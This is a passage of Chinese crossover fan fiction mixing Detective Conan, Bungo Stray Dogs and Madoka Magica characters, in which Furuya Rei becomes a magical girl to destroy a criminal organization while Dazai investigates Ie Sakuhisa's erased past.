朔夜的语气里带着某种说不清的情感，罕见得几乎不像是朔夜本人，让其他人隐约察觉到其中的重要性。 太宰治最先回过神来，对伏黑惠道：“既然朔夜都这样说了，那你就暂且耐心等待一段时间，怎么样？” 见伏黑惠仍旧有点失神，太宰治向前两步，弯腰捡起了先前掉落在地的那颗悲叹之种，悄悄递给了虎杖悠仁。 虎杖悠仁了然地接过，交到伏黑惠手上：“她醒来后，一定不希望看到你出事。” 伏黑惠的态度终于软和下去，看上去冷静多了，轻轻“嗯”了一声。 漆黑的悲叹之种贴到了宝石上面。 宝石之中黑色的杂质缓慢地被吸收走，终于又渐渐恢复了原先的通透，发出幽绿色的光芒来。 …… 后续，伏黑惠将津美纪先带了回去。而虎杖悠仁因为不放心他们，便也跟着离开了。 安全屋里只剩下津岛、朔夜，以及昏迷的艾尔菲。 “艾尔菲的事情……你能帮忙先处理一段时间吗？” 伊江朔久问道。 太宰治之前和菲茨杰拉德的接触更多，所以由太宰治暂时插手处理对方的事情，会更方便许多。 “这个当然没问题。” 太宰治干脆地应下，接着道：“不过，我想起来，还有个问题没有问你，是关于梦境里发生的事情的。” 看见伊江朔久神色微动，太宰治扬起笑容道：“放心，我记得答应你的事情，我想说的只是我的梦境。” 不过…… 太宰治在心里暗道。 虽然答应过不会泄露伊江的秘密，但是自己又没说过不会去继续探究那些秘密。 太宰治清楚地记得从伊江朔久梦境里获得的那些信息。 以前总是查不出来伊江朔久的身份与过去，但现在在有了这么多信息的情况下，如果还是一无所获，那就只能说明—— 伊江朔久原本根本不存在于这个世界上。 “你想问什么？”伊江朔久犹豫了片刻，问道。 “这个嘛……” 太宰治边回忆边诉说着：“我发现，梦境里的过去和我真实的过去似乎不太一样呢，就好像……我曾经遗忘了什么似的。” 伊江朔久清楚原因，却装着不在意地道：“毕竟这是魔女制作的幻境，和真实的过去有着差异不是很正常吗？” “也是。” 太宰治看似被说服了，但是顿了顿，又锐利地问道：“在更早之前，我们是不是曾经认识？” 伊江朔久呼吸微微一滞。 这个问题，以前萩原研二也曾经问过自己。 但是，当年的萩原研二只是出于直觉地随口一问。在得到否认之后，他便也没想那么多，只觉得他们确实不可能有过更深的交集。 那如今的太宰治呢？ 伊江朔久看着那双平静的鸢色眼眸，就知道对方在问出问题之前，就大概已经有了答案。 可是，伊江朔久还是不死心地做了下最后的挣扎：“你说的是，六年前在横滨海岸的那个晚上吗？” 但太宰治却不配合地道：“你知道我说的是什么。” “……没有。” 即使知道对方不会相信，可伊江朔久还是这么说了：“除了那天之外，没有更早之前的事情了。” “我还有别的事，就先走了，艾尔菲就麻烦你了。 说完这些，伊江朔久便果断转身离开了，没给太宰治留下叫住自己的机会。 太宰治：“……” 黑发鸢眼的少女神情变得无可奈何。 都说到这种地步了，对方为什么还是不愿意说个清楚？ 六年前到底发生了什么，自己为什么会忘记对方？这些和魔法少女的真相有关联吗？伊江朔久和丘比到底是什么关系？…… 太宰治突然回想起不久之前。 ——因为织田作和自己的关系彻底无法再维持下去了，所以那天他心情几乎是前所未有的差劲，于是选择去海边进行日常的自杀活动。 当时自己的灵魂宝石黑得和今天禅院穗的灵魂宝石有的一拼。 可惜他又没自杀成功，被朔夜给救了上来，他那时跟对方闲聊，随口倾诉了句“记忆完全是个不牢靠的东西”。 对方是怎么回答的来着？ 好像是……“我理解。” 太宰治回忆着当初朔夜说这句话时的神情。 她的声音比海浪更轻，没有泄露过多的情绪波动。所以那时太宰治也没怎么在意，只以为这只是一句常见的宽慰话。 但是现在想来…… 如果自己的猜想没错的话，那伊江朔久确实能够理解这些。 毕竟对方已经被所有人遗忘了最少六年的时间，独自保留着过往的回忆，孤身一人在不断前进，无法被任何人理解…… 这样的对方却会对他说：“我不会忘记你的。” 他直到现在，才后知后觉地意识到这句话的重量。 太宰治心情忽然变得复杂。 真是的…… 对方总是将假话挂在嘴边，而将真话隐藏在不起眼的角落里。 第193章 这次的梦境魔女事件虽然不知不觉过去了一小段时间，但是带来的影响却没有减小，反而还越来越大。 毕竟是第一次出现这种情况。 ——魔女明明已经被解决了，那些因此陷入沉睡的人却依旧没能醒过来。 甚至，魔法少女艾尔菲似乎也在这次事件中出了事，最近都没再露面，本该由她完成的任务都被其他魔法少女代为效劳了。 松田阵平费了一番功夫，才从悠衣那里得知了大概情况。 可是，他的疑惑非但没有减少，反而还增加了。 魔法少女背后到底隐藏了多少秘密？ 他不知道，也难以判断她们的未来会是怎样，但是更加觉得不能将降谷零也拉进这个坑里。 然而，萩原研二那边的情况却愈发不容乐观起来。 和组织关联紧密的降谷零更清楚这点。 计划总是赶不上变化的，再加上这种事本来就有着难以估测的巨大风险。 ——现如今，萩原研二仍旧没有成功拿到关于洗脑项目的任何资料，就在最近还被人抓住了马脚，发觉他并没有完全被洗脑控制而效忠组织…… 那么组织之后不管是准备重新对他进行洗脑，还是打算毁掉不趁手的武器……都是降谷零不愿意看到的情况。 除此之外，组织近期还不知道为什么越来越嚣张了。 明明之前的行事都尽量隐蔽，隐藏于迷雾之中。但从前段时间开始，他们做事就变得越来越夸张。 什么制造大型爆炸事件、狙.击双子摩天大楼、扫射东京塔……简直一件事比一件事离谱，也不知道BOSS和琴酒他们是不是疯了。 这些也成了推动降谷零迫切地想要破灭组织的原因。 如果只搭上自己一个人，就可以阻止这些事发生，那为了公众的利益，他当然会愿意这么做。 “只要我和你签约，就能实现任何愿望对吧？” 降谷零看向面前的白色生物，忍不住又向对方确认了一遍。 ‘是的。’ 丘比点点头应下。 不过，想到对方以国家作为恋人的远大抱负……伊江朔久忽然有点担心对方许下世界和平这类过于离谱的愿望。 它迟疑了几秒，补充道： ‘但请不要许下涉及太多因果的愿望。只是想不付出任何代价，就让组织彻底灭亡的话，是完全可以做得到的。’ 降谷零抓住关键词，重复了一遍：“因果？” 丘比没多做解释，只是敷衍过去：‘你应该能理解大概的意思吧。’ “差不多……我能问一下吗？如果许下涉及太多因果的愿望，会发生什么事情？” 降谷零问道。 丘比顿了顿，道：‘愿望可能会被扭曲。’ 降谷零不由得一愣。 也不知是因为话中的内容而诧异，还是因为过于坦诚的丘比而不解。 依据松田阵平之前跟他说的话来判断，魔法少女的真相确实不如想象中那么好，可丘比不应该会这样直白地说出来吧。 “类似于这样的关于魔法少女的真相和秘密还有不少吧，你为什么不在一开始就告诉所有人？” 降谷零想了想，说道：“如果直白地说出来，应该还是会有人愿意为了实现重要的愿望而付出一切。何必要瞒着她们呢？” 丘比：‘……在并不能确定最终结果的时候，就提前说出最糟糕的可能性，对她们来说并没有什么益处。’ 丘比的话说得还是很含糊，降谷零听出来对方不愿意解释清楚了，便也不再这里多做纠缠。 反正他早就做好这样的心理准备了。 松田阵平那些人都和丘比相处了两三年，也没能从它那里知道多少重要信息，他又怎么可能一下子弯道超车。 “好吧。还有最后一个问题希望能请教你。” 降谷零问道：“我所实现的愿望，最终不会反而导致更糟糕的结局吧？” 丘比沉默了一瞬，随后用着不符合其可爱玩偶外貌的语气开口：‘……我不会让那样的结果发生的。’ 降谷零莫名觉得这样的丘比让人有点熟悉。 看上去总是很神秘，不愿意说出隐瞒的秘密，还一副在为别人真心着想的样子……他下意识地想起了伊江朔久。 或许伊江朔久能够与丘比合得来吧。 降谷零没有再多想。 虽然听说丘比隐瞒了一堆秘密，邀请别人签约时总是避重就轻，不过他也听说，丘比没怎么编过谎话。 结合魔法少女们维持了两年多的相安无事，直到最近才终于没控制住爆发出来的问题与矛盾…… 降谷零觉得丘比契约中的愿望还是很有价值的。 “那么，我们现在能够开始签订契约了吧？” 他主动询问道。 丘比点点头：‘你已经认真想好了吗？’ “当然，已经好好考虑过了……” 说到这里时，降谷零听见自己的手机发出了振动。 他拿起来看见是松田阵平的电话，于是装作没有这回事一样挂掉电话，开启免打扰模式将手机放回口袋。 “快开始吧。” 从降谷零的语气来听，感觉他比丘比似乎更急着要签约。 毕竟萩原研二那边的情况危机，已经没办法再继续拖延时间了。 ‘那请将你的愿望告诉我吧。’ “我希望……” 降谷零闭上眼睛：“我所卧底的这个跨国犯罪组织全员伏法，资产充公，且整个过程不伤及任何无辜者，不引发社会动荡，不损害公众利益。” 话音落下的刹那，伴随着他身体深处的痛楚，这里猛地迸发出强光。 幸亏他提前特意将这个房间的门窗都封好了。这种夸张的异常光亮才没能泄露出去多少，没怎么引起别人的好奇探究。 ‘契约成立。’ 当光芒渐渐淡下来之后，降谷零先是不习惯地适应了一下新的身体，以及骤然变矮的视差。 这样算是成功签约了吗？ 降谷零有点恍惚。 虽然是早就做好了心理准备，但也是第一次遇见这种奇异的经历，换作是谁都没办法很快接受。 而降谷零已经是心理素质很过关的了。 她走到镜子面前，忍不住确认了一下自己如今的面貌。 ——镜子里是一个身高连一米六都没到的少女。 浅金的长发披散到腰间，左侧编入了三股细辫。紫灰色的双眸里闪着明亮的光，肌肤是蜜釉般的色泽。 她额心点缀着一颗浅金色滴状宝石，身穿绯色羽织短裙，裙摆上印着许多小巧精致的五瓣樱花。 整体风格表现出了一种特殊的美感。 “……我的愿望实现了吗？” 镜中印出的少女神情有点担忧。 丘比肯定地道：‘当然，你可以自行去验证。’ 降谷零倒也对此不是特别担心，毕竟连死去多年的人都能好端端地复生，彻底摧毁一个跨国犯罪组织应该也不是太难的事情。 但是，当一直以来压在心头的重担骤然卸去、新的未知的命运降临于身…… 降谷零总还是有点心情复杂。 自己曾经为之付出努力了七年的卧底工作算是终于落下帷幕了，在此之后……工作重心估计就要暂时转向魔法少女那边了。 她想起刚才松田阵平打来的电话，不禁心虚起来。 也不知道松田现在的心情怎么样，想想就觉得不妙，还是等那家伙冷静一会儿后再去联络他吧。 …… “嘟嘟——” 电话在响了一段时间后又双叒叕自动挂断了。 松田阵平不由得逐渐攥紧拳头，身上仿佛燃起了无形的气焰。 那个金、发、混、蛋—— 在他从伊江那里得知萩原的最新消息之后，便想起了降谷零，于是就赶紧跟对方打去了电话，准备先一起商量一下情况。 可是，没想到连着拨去了好几个电话，对方却始终没有回应。 松田阵平的直觉隐约告诉了自己答案。 虽然不久前他刚得知丘比询问了降谷的签约意向时，就立刻提醒降谷要谨慎，不能随意相信丘比的话，魔法少女背后不知道隐藏了怎样的黑暗秘密…… 可是，降谷零估计也就是表面上假装听进去了。 按照他对那家伙的了解——说不定降谷零现在就正在跟丘比谈签约事项呢。 松田阵平难以安心，没办法再等待下去了。 他转而给伊江朔久又打去了电话。 没办法，目前身边只有伊江朔久和降谷零跟组织的关联比较紧密，联系不上降谷的话，就只能问问伊江了。 这次的电话倒是很快接通了。 “伊江，你现在能够联系上降谷吗？” 电话那头似乎愣了下，反问道：“出什么事了吗？你现在联系不上他？” 松田阵平简单回答道：“嗯，本来想跟他谈组织和萩原的事情，但是发现他的电话打不通……” 伊江朔久顿了顿，却说：“其实我正想跟你说，不用担心这些事了，组织已经不复存在了。” 松田阵平一怔。 “我也是刚得到这个消息，一切发生得太突然了，我还没来得及弄清具体情况。” 伊江朔久解释道：“我想，降谷君现在应该忙着处理后续的事情吧，你可以等他闲下来了再去问他。” ……居然真的做到了。 松田阵平有些说不清自己现在到底是什么情绪。 是为萩原松了一口气、暗自庆幸呢，还是担心降谷的情况、后悔没能阻止对方呢？ 或许两者都有吧。 “松田，你还好吗？” 估计是半天没听到他的回应，电话那头的伊江朔久犹豫着问道。 “我还好。”松田阵平咬着牙，说道：“我只是在想……等我逮到丘比那家伙的时候，绝对要狠狠揍它一顿。” 第194章 伊江朔久：“……” 他现在精神体分成两部分，另一部分还操控着丘比暂时留在降谷零那边呢。 如今听到松田咬牙切齿地说想揍丘比的话，伊江朔久未免心里有点不太自在。 不过，松田对丘比的讨厌当然不是没有道理的，就算他连带着朔夜一起讨厌都再正常不过了…… 伊江朔久又配合地跟松田阵平继续聊了几句。 因为松田阵平挂念着如今的降谷零和萩原研二，所以从伊江朔久这里简单地了解了一下大概情况，就匆匆忙忙地结束了和他的对话。 见伊江朔久放下电话，从刚才起就在旁边听着的系统便得了机会，出声问道： 【刚才不是在谈降谷零和组织的那些事情吗，为什么松田阵平会突然提到丘比呢？】 这个问题问得有点莫名其妙。 但伊江朔久知道系统为什么会这么问。 ——对方不是人类，自然缺乏共情，过度的理性与功利主义让它很难明白许多在人类看来很容易理解的情绪。 所以，它想不通为什么松田阵平对丘比的怨气。 伊江朔久下意识地升起反感的情绪。 不过，多年以来的伪装和做戏，使得他没那么容易将自己的真实情绪表现出来。 而且，他忽然想起了自己之后一个重要的计划步骤，心神微微一动，语气放得更温和自然了些： “很正常，你知道‘非我族类，其心必异’这句话吗？” 系统愣了一下，应道：【……听说过。】 “就是这个原因。不管怎么说，丘比不是人类，就自然和其他人之间会有一层很深的隔膜。” “所以在遇到不好的情况发生时，其他人找不到可以发泄情绪的对象，便本能地将责任推给丘比这个与自己并不平等的存在，也很好理解吧？” 伊江朔久表面上风轻云淡地说着，仿佛在阐述再简单不过的道理，心里却对松田阵平又增添了几分愧疚。 抱歉了，松田。 他当然知道松田阵平不是这样的人，但是如果系统能听进去这种误导性的话，会对自己最终的计划很有帮助。 那就只能暂且委屈一下松田的名誉了。 面前白色的小光球应该是思考了好一会儿，随后用着无奈的语气说： 【我还以为丘比的形象会很容易令人喜爱呢。】 伊江朔久摇了摇头：“人类的情感不是那么简单的。再怎么可爱无害的宠物，也依旧会有人随意弃养，更不用提有些人对于越是美好的东西就越想将其摧毁。” 系统感慨道：【真是不合逻辑的道理，这就是人类的缺陷吧。】 “嗯，所以说，脾气性格很差的朔夜直到如今也没被人多么厌恶，而一直态度友好的丘比却遭到了更多的反感，这就是因为它终究不是人类。” 伊江朔久附和着这样说道。 当然，这也是他编造出来的谎言。 曾经他为了最终计划能得到保障，确实很长一段时间都想着得让那些魔法少女尽可能地对朔夜不喜，也努力地朝这个方向做了。 得到的结果却总是不如人意。 他不断地想着该如何修理这样的变故，但是直到很久之后，才终于不得已地明白这是没有办法的事情。 就比如说，曾经的某一天，伊江朔久试过用丘比的马甲去打探他们对朔夜的态度。 然后得到了这些答复——“我觉得，她其实……是外冷内热的性格吧？” “虽然她表现出来的样子确实让人很讨厌，但相处久了，就感觉实际上她人还算不错。” “她还挺奇怪的，永远说不出好听的话语，仿佛故意不想和别人打好关系似的……但是作为被关心在意的对象，某些东西我们怎么可能一直察觉不到呢？” “……” 那天，在自己的演技方面，伊江朔久体会到了前所未有的挫败感。 尽管他也很快察觉到了原因。 可是，很多问题不是知道答案就能够改正的。 他无法改变——在其他人遇到危险时的及时出手救急，偶尔不自觉悄悄投去的关注目光，就连讨人嫌的督促与磨砺也还是能够被人看出本质…… 朔夜的态度虽然差劲，但关心与在意却能从切实的行为上看出来，曾经还出言阻止过他们的签约。 而丘比空有表面的态度，但从一开始就隐瞒着关键信息，主动诱骗他们签约。 所以，朔夜的隐瞒比丘比更能得到宽容是理所应当的，并不是他们之间相差的这个人类身份。 但系统不可能理解这些。 甚至它只会“傲慢”地认为，人类的情感是低效、非理性的缺陷。 【也是，明明你的这两个马甲都被发现故意隐藏了不少秘密，可确实那些人对朔夜的责怪会少上很多。】 系统若有所思地说道。 【……还真是不公平呢。】 第195章 后续，降谷零也确认过自己的愿望是好好地实现了，没有发生什么扭曲异常的情况。 这个至少存在了半个世纪之久的跨国犯罪组织终于迎来了日落。 虽然让他们被迫伏法的过程很奇怪，由一环又一环的意外构成，但凡中间有一点细节不对，都没办法达成这种结局。 日本公安很是喜出望外，也暂时没空对此多做探究。 这个世界上不科学之处多了去了，说不定是哪方能人异士做出的贡献，他们这些普通人也很难查出什么来。 不过…… 还是有令降谷零头疼的问题。 他当时许的那个愿望不会影响到潜伏进组织里的那些卧底，也没影响到和组织实际上只是合作关系的伊江朔久，但唯独和萩原研二还是扯不开关系。 如今萩原研二是难以否认的组织成员，所以他过往的那些罪行自然也都被揭露了出来。 并且萩原对此供认不讳。 降谷零只得尽可能地为他辩解，想方设法地希望让他脱身。 但是，萩原研二却先放弃了。 探监室的灯光苍白而冷冽，而隔着玻璃窗的黑发紫眸青年周身却带着轻松的氛围，脸上挂着笑意： “小降谷，别再为我说话了。你好不容易结束卧底工作，正是升职的好时机，跟我扯上关系只会拖累你的。” 凭借着自己的权力和等级，降谷零获得了跟萩原研二私谈的机会，没有其他警察在这里看守，他们能够随意地交谈。 降谷零咬着牙问道：“你觉得我会害怕被你拖累吗？” 萩原研二立刻道歉：“抱歉，我知道小降谷人一直很好，这是我自己的原因。我接受法律处置，不希望你插手来帮我。” 这些话说得很明白了。 但降谷零宁愿自己听不懂……他的拳头在桌下不自觉地握紧，指甲嵌入了掌心。 因为萩原研二不愿意配合他的话，他就没办法编谎说——萩原早就和自己取得了联系，一直在组织里当自己的线人；萩原曾经的那些罪行都是为了使组织破灭、为了保住更大的利益而迫不得已做的；萩原曾经在暗地里还为阻止组织的恶行提供了很多帮助，有很多贡献…… 降谷零若是能让上级相信这些话，便能够使萩原研二彻底脱罪。 甚至考虑到曾经萩原为公众安全而主动赴死的过往，还很有可能可以让他做回警察，未来的道路说不定会比以前更加光明。 但偏偏萩原研二就是不答应配合他。 那么，降谷零就最多只能用‘萩原是被组织洗脑控制才被迫做下的这些事’为理由，尽量使其减轻刑罚以至于被判决无罪。 可是就算被判定无罪，公安也不会对萩原放心，他大概会被强制送入医疗机构治疗很长一段时间。 等到彻底治疗好了出院后，也会受到无法摆脱的社会监督。 这样的未来对萩原研二而言未免…… “……太不公平了。” 降谷零低声说道。 萩原研二愣了一下，一时间不知道该说什么。 “你没有必要接受这样的法律处置，这是不公平的。” 降谷零忍不住再次劝道：“其他人不知道真正的情况，不知道你根本没有亲手做过那些事情。” 萩原研二沉默了一会儿，脸上的笑意敛了下去，垂着头反问道：“我真的没有做过吗？” 降谷零不解地说：“在你复生之前，那些罪行就已经发生了，只不过后来换了个名头而已。所以这些当然不是你的错。” 萩原研二看着自己的双手，仿佛能穿过经久的时光，见到上面曾沾染的无数鲜血般： “但我记得很清楚，我是怎么做的，从头到尾、每一处细节……我都记得。” 降谷零看着他的神情，本能地张了张口，却发不出声音了。 “或许真的能够瞒过其他人，将我塑造成跟你们一样忍辱负重的卧底形象。但我却没办法骗得过我自己。” 萩原研二尽可能平静地说：“与其煎熬地获得自由，不如直接接受审判，这样我反而会轻松很多。而且……” 他顿了顿，还是说道：“虽然组织破灭了，但我受到的洗脑的影响目前也还没消减多少，还是先把我当成危险分子看待吧。我也不知道自己到底能做出什么事来，我偶尔也会……害怕这样的自己。” 可是…… 降谷零还是想说。 这本不应该责怪到你头上，你不应该因此而煎熬。你本该是舍生忘死、曾经救下过浅井公寓那么多人的英雄。 但他也能够理解萩原研二的心情。 他卧底进组织的这些年里，也不得已犯下过许多罪行，常常化作能让人午夜惊醒的噩梦。 只不过法律宣判他无罪，他也会定期被安排做心理疏导，才不会有那么严重的心理负担。 降谷零深深叹气。 “别替我难过。” 萩原研二故意用轻松的语气说道：“我至少是死而复生了诶，这已经是多少人都渴求不来的事情。” “而且组织还莫名其妙地离奇伏法了。昨天，我好久没见的父母和姐姐也过来探视我了，我们聊了很久很久。我现在真的很开心，比以前轻松多了。” “这么看来，幸运女神完全是站在我这边的嘛。说不定以后就能随着时间的流逝，摆脱过去的影响，向好的方向发展了。” 降谷零只能无可奈何地听着。 萩原研二脸上又扬起温暖的笑容，说道：“所以，我希望你们也能够为我高兴。请帮我劝劝松田和伊江吧，不要担心我的情况了。” 第196章 从探监室离开之后，降谷零很长一段时间也仍旧挂念着萩原研二的事情，根本没办法照对方所说的不去在意这些。 降谷零知道，萩原研二远没有表面上表现出来得这样轻松。 不过，对方向来擅长若无其事的微笑，将一切痛苦压力全都轻飘飘地揭过去。 只有和对方足够熟悉，并且极其耐心仔细地观察，才能隐约看出对方压抑在表象之下的辛苦与煎熬。 降谷零感到头疼。 该怎么处理萩原的事情呢？ 他始终难以找到合适的答案，也不可能就这样放着不管。 想要让萩原获得自由或是拥有不错的未来，都是比较容易做到的。就算法律没有给对方一个好的判决，也可以想别的方法，借魔法少女的势力和力量达成这一切。 降谷零当了这么久的公安，自然也学会了不少公安会使的手段。 但是，降谷零知道这样做是没用的。 只要内心还没有获得真正的自由，萩原研二就永远无法走出来，永远会被困在组织没有覆灭的岁月里。 如果，萩原死而复生后没有多出这些不存在的记忆就好了…… 降谷零不由得又叹了口气，他暂时是想不出解决方法了，而且目前他也没有充足的时间去思考该如何帮助萩原。 他现在还要处理魔法少女那边的事情。 如今，艾尔菲陷入沉睡之中，始终无法醒来。 松代作为萩原的幼驯染，比降谷零更担心在意萩原的情况，私下里正在为萩原的事而忙碌伤神。 禅院穗最近的状况也不好，为了让她的灵魂宝石维持在一个安全的阈值，其他人近期都尽量阻止她出任务。 朔夜似乎也有重要的事在忙，出现的频率很少，只不过没人知道她具体在忙什么…… 能够像往常一样处理魔女工作的就只剩下悠衣和津岛了。 但是，偏偏祸不单行。 这段时间里，魔女出现的次数越来越频繁。而以魔法少女如今的情况，根本没办法应付得过来，使得近来人心惶惶。 作为新契约的魔法少女，降谷零原本应该慢慢适应。 可是，考虑到人手不足，以民众的安全为重，降谷零还是选择尽快投入进魔法少女的工作之中。 “咚咚。” 敲门的声音响起。 “请进。” 随着降谷零的话音落下，风见裕也开门进来，手里拿着一些文件，走到他的面前。 “降谷先生，这是您提交的休假申请批复。” 风见裕也把文件递过去，语气里带着一丝犹豫与关切：“您真的决定要休息一段时间吗？” 如果只是短暂地休息一两个月，以降谷零辛苦卧底七年的功绩来说，完全没什么大不了的。 但是降谷零提交的申请用的措辞，更像是不确定具体要休假多久，一年半载或是更长时间都有可能。 这就很不利于降谷零的升职与未来事业了。 “是的，我已经考虑好了。” 降谷零的语气坚定。 “可这还是太突然了吧，您要不要再想一想……”风见裕也劝着劝着，忽然灵光一闪地说道：“对了，您有把自己的决定告诉诸伏先生吗？” 这算是问到关键点上了。 降谷零有点心虚。 但现如今他真的没办法继续日本公安的工作了，光是魔法少女的事情就已经让他分身乏术了。 “……最近组织刚刚覆灭，诸伏他要处理的工作也很多，你就暂且别告诉他让他分心了。” 就算搬出了诸伏先生，也没能改变降谷零的意志，看来对方是真的已经决定好了。 可是，风见裕也还有些不舍，想再劝一劝自家上司。 不过他镜片闪了闪，突然瞥见对方领口处若隐若现的银链，不由得愣了一下…… 之前怎么好像从来没见降谷先生戴过这类的饰品？ “好了，去做自己的事情吧。” 降谷零的手按在对方的肩膀上，使其转身换了个方向：“你应该还有不少的工作没完成吧？风见警部补。” 上司突然提到自己的工作，风见裕也下意识地立刻应下：“我这就去做！” 随即，风见裕也只能垂头丧气地走出了办公室。 …… 把公安的工作都分配给下属、获得了休假审批之后，降谷零罕见地正大光明地走出警察厅的大门。 沐浴着温暖的阳光，他深吸了一口气。 在旁人看来，估计是要以为他暂时卸下了肩上的重担，而处于惬意放松的状态呢。 但只有降谷零知道，自己还远没到能够休息的时候。 ——现在该去处理魔法少女的工作了。 第197章 降谷零沿着街道漫步，直到拐进一条无人的小巷，确认四周没有什么监控后，他取下了自己藏在衣物下的宝石项链。 一阵光芒闪过。 新的魔法少女出现在了这条小巷里。 降谷零不自然地走上大街，尴尬地尽量忽视周围路人投来的目光。 虽然现在根本没几个人知道她这个新出现的魔法少女，但是光是看她出色而特殊的外表、绮丽的装扮，就已经足够吸引人眼球了。 “你、你好。” 有个高中生模样的男生快步追上来，耳垂微红，声音较低地问她：“请问我能知道你的联系方式吗？” 降谷零额上几乎要浮现出实质化的黑线了。 她不是第一次被陌生人问联系方式，但却是第一次被男生这么问。 “抱歉，不行。” 降谷零陌生而快速地拒绝掉对方，然后便转头就走，就像生怕再有人找上自己似的，步伐又加快了几分…… 这也太难了吧。 她现在变身后的每一分一秒都很不习惯。 这让她忽然有点钦佩松田了，也不知道那家伙用了多久，才适应成为魔法少女的日常。 又拐过几条街道，注意避开旁人的视线后……降谷零来到了魔法少女们的一处安全屋。 “咚咚。” 她先是轻轻敲了两下门。 里面传来一句语气很随意的女声：“自己进。” 闻言，降谷零便也没多说什么，直接从口袋里取出了之前松田交给自己的钥匙，自己开门走了进去。 安全屋的沙发上半躺着一个黑色长发少女，手上拿着几张纸页在看，身边也散乱着一些纸页，看着像是一些资料，不过也不知道具体和什么有关。 这个少女是津岛。 之前早在代表公安与魔法少女合作时，降谷零便跟津岛见过了面。 更何况，魔法少女现如今已经相当于是国民偶像这类的存在了，随便在大街上找来个人，对方都几乎不可能不知道津岛是谁。 “你就是松代所说的新的魔法少女？名字是安、安……” 见津岛的话卡了壳。 降谷零无奈又不自在地提醒道：“……是安凛anri。” “哦，真是个不错的名字。” 津岛随口说道，目光没怎么分给她，仍旧在自顾自地盯着看手里的纸页，仿佛上面有什么晦涩的难题一般。 降谷零：“……” 之前跟津岛没怎么过多接触的时候，降谷零就察觉到这家伙的情绪和想法很难弄懂，对别人的心思倒是掌握得极其透彻，麻烦得不得了。 而现在，想到以后要常和这家伙相处，降谷零忽然觉得一阵头疼。 就比如说，明明现在她来这里，是提前在群聊里和津岛商量好了，由津岛来为她讲解并交接部分魔法少女工作的事宜。 结果，津岛如今这样子不是看起来完全不想搭理她嘛。 不过…… 津岛应该也不会这么闲得慌，故意把她叫过来逗着玩吧？ 想到这里，降谷零将注意力放在了津岛正在专注地看着的纸页上……这上面会写着什么呢？ 她又往前面走了两步，弯下腰，捡起了一张从沙发上飘落在地的纸页。 ——27岁，目前在经营一家弓道馆…… 降谷零才刚看到上面这一点点信息，手中拿着的纸页就被人快速抽走了。 她抬头看去，见到津岛改变了刚才半躺在沙发上的姿势，已经好好地坐起来了，此刻正把沙发上散落的一些纸页收拾整齐。 降谷零试探着问：“这些是……？” “秘密。” 想起之前答应朔夜的事情，津岛只能无奈地表现出无可奉告的态度。 虽然津岛也挺想找人闲聊一下的。 毕竟，她刚获得了一些很令人吃惊的信息…… 尽管觉得这次凭借那些信息应该能调查到一点什么了，但连太宰治自己都没想到，这次的调查会进行得这么顺利。 虽然为了不泄露这些信息，太宰治调查得很隐晦，但也没花多少功夫，就有了不少线索。 太宰治成功地找到了伊江幸樱这个人。不过，对方现在叫做茂井幸樱。 虽然和当初在梦境里看到的形象相隔了将近二十年，对方的长相变化了不少。但太宰治在看到照片的时候，还是一眼就确定了对方的身份。 毕竟白发青瞳还是很特殊的。 而且，男女之间的差异可能比较大，所以伊江朔久和茂井幸樱两人不算特别相似。 可若是让茂井幸樱和朔夜站在一起，看上去就很像是亲姐妹了。 不过，茂井幸樱今年27岁，目前正在经营一家弓道馆，生意不错…… 从资料上来看，和一个生活平淡幸福的普通人没什么区别，几乎找不到特殊的地方。 太宰治详细调查了茂井幸樱的过去，这方面并不难查。 ——伊江幸樱的童年应该还是有一段无忧的幸福时光，可惜过于短暂。 在她六七岁的时候，父母感情上的问题突然爆发，父亲有了外遇后便抛弃了家庭，在那之后母亲的精神问题便越来越严重。 直到她十五岁的某天，母亲莫名其妙地好转、恢复成正常人的精神状态了，但不到一年就选择不声不响地离开了她这个负担。 伊江幸樱落寞抑郁了很长一段时间。 好在，她的人生没有一直在走下坡路，终于也到了触底反弹的时候。 新搬过来的茂井家和她做了邻居，意外和她慢慢熟络起来后，很喜欢这孩子，也同情她的遭遇，于是便收养了她。 自此，她改成茂井这个姓氏，加入了这个待她很好的家庭，拥有了一对没有血缘关系的父母和弟弟。 但问题是…… 从始至终，她的人生经历里没有伊江朔久的任何痕迹。 除了那个正在上大学的叫茂井纯司的弟弟之外，她根本没有其他的弟弟。在父母先后抛弃她之后，她也不可能再有茂井家之外的家人。 第198章 根据这些情报，太宰治也算是更加确定了自己之前的一些猜想。 但随之而来的还有别的问题。 ——为什么伊江朔久过去的痕迹都被抹去了？当年到底都发生了什么？这些和魔法少女的事情会有着怎样的关联？ 真是复杂啊。 顾及着安凛还在这里，太宰治很快转移了话题，没让对方再去关注被她收好的那些资料。 “对了，这是给你的。” 太宰治拿出自己的那本《女生徒》，从上面随意撕下了一张书页，递给了降谷零，道： “你拿着这个书页，便可以随时传送到其他书页所在的位置。” 降谷零顿时想起了之前魔法少女们神出鬼没的手段，这才明白原来这是津岛的能力效果。 还真是够方便的。 她接过后道了谢：“谢谢。” 公安做久了的降谷零忍不住职业病犯了，想着如果这样的魔法能够推广开来，运用到国家层面该多么有用。 太宰治悠悠地补充道：“我能够随时感应和传送到任何书页所在的位置。还有，在别人使用书页时，我也可以察觉到，并且选择是否同意。” 降谷零：“……” 好吧，这样的限制也是正常的，毕竟这是津岛的所有物。 但是加上这些限制之后，降谷零就忽然觉得这张书页有点烫手了……这不是相当于一个定位器吗？ 就算可以把它暂存到别的地方，需要的时候再去取，也还是很容易被津岛获取自己的行踪等信息。 松田和其他魔法少女居然能够收下津岛的书页。 降谷零有点意外。 这么看来，她们之间的关系还挺不错的。 “虽然我也管不了你用不用这张书页，但是劝你最近这些天还是尽量经常带着吧，尤其是需要进入魔女结界的时候。” 太宰治提醒道：“万一遇到什么危险情况，就直接使用书页离开，没必要做无谓的坚持。” 降谷零试探地问：“为什么？最近这些天有什么情况吗？” “只是我个人的预感而已。” 太宰治没说出自己真实的想法，而是反问道： “不过，怎么想也知道，魔法少女并不是个安全的职业。你应该和松代关系不错，她也不可能不告诉你魔法少女存在的问题吧？” 降谷零沉默了。 松田阵平当然早就提醒警告过自己不止一遍了。 结果，他还是瞒着那家伙，偷偷和丘比签订了契约。 知道这件事之后，松田阵平非常无奈生气又无话可说，只能借着帮他特训、适应魔法与战斗的幌子，跟他好好打了几场架…… 作为经验不足的新手，自己简直相当于是一直被按着打了。 尽管魔法少女的身体恢复能力很好，但是现在想起来，降谷零还觉得有点幻痛。 太宰治说道：“其实呢，松代目前所知道的还是太少了。” 降谷零不由得问道：“你知道更多的情报？” 